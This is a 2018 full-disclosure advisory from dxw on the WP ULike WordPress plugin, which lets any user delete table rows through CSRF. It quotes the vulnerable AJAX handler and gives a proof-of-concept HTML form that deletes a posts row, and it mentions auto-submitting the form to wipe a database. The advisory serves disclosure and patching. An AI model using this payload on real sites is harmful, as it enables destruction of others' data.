full-disclosure - [FD] WP ULike allows anybody to delete any row in any WordPress table (WordPress plugin)

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Message-ID: <727d6d1ad037303459a7933a36c9056a@advisories.dxw.com>
Date: Mon, 14 May 2018 18:01:20 +0000
From: dxw Security <harry@....com>
To: fulldisclosure@...lists.org
Subject: [FD] WP ULike allows anybody to delete any row in any WordPress
	table (WordPress plugin)

Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/wp-ulike-delete-rows/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
================
WP ULike allows anybody to delete any row in any WordPress table

Vulnerability
================
The plugin contains a wp_ajax action which allows any authenticated user (it doesn’t check permissions) to delete any row of almost any table in the database (the table must begin with $wpdb->prefix). As nonces are not used, this is also vulnerable to CSRF meaning unauthenticated users can access it if they can successfully phish any user of the site.
add_action(\'wp_ajax_ulikelogs\',\'wp_ulike_logs_process\');
function wp_ulike_logs_process(){
  global $wpdb;
  $id = $_POST[\'id\'];
  $table = $_POST[\'table\'];
  $wpdb->delete( $wpdb->prefix.$table ,array( \'id\' => $id ));
  wp_die();
}
This functionality should have a nonce, it should be restricted to users with certain permissions, and it should be restricted to only allow deleting from certain tables.

Proof of concept
================
This is the proof-of-concept for an unauthenticated user using CSRF against a logged in user.

Activate the plugin
Remain signed in
Visit a page containing the HTML below
Press submit
Row with id=1 in the $wpdb->prefix.\'posts\' table will be deleted
The value of id or table can be changed allowing deleting any row in any table with the WordPress prefix at the start of its name, and having an id column

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
 <input type=\"text\" name=\"action\" value=\"ulikelogs\">
 <input type=\"text\" name=\"table\" value=\"posts\">
 <input type=\"text\" name=\"id\" value=\"1\">
 <input type=\"submit\">
</form>
In a real attack, the form could be made to auto-submit on page load, and submit the form multiple times with different table and id values meaning that a single user falling for a phish could wipe the whole database.

Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)

Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.

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